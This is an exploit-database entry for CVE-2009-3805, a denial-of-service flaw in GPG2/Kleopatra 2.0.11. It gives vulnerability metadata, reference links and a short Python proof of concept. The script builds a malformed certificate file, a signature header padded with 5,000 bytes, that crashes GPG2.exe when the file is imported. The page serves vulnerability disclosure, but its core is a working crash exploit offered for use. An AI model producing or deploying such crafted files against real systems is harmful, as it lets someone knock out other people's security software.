GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

2009-10-28 / 2009-10-29

Credit: Dr_IDE

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2009-3805

CWE: CWE-Other

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

#!/usr/bin/env python

################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note: 	Part of the GPG4Win Package v2.0.1
# Found By:	Dr_IDE
# Tested On:	7RC, XPSP3
# Usage:	Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################

# Seems to only check for the presense of this signature
cert  = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);

try:
	print ("[*] Creating evil GPG cert.");
	f1 = open("gpg2_evil_cert.gpg","w");
	f1.write(cert);
	f1.close();
	print ("[*] File created successfully. Import it.");

except:
	print ("[-] Error.");

#[pocoftheday.blogspot.com]

References:

http://xforce.iss.net/xforce/xfdb/53908

http://www.securityfocus.com/bid/36781

http://www.packetstormsecurity.com/0910-exploits/gpg2kleo-dos.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.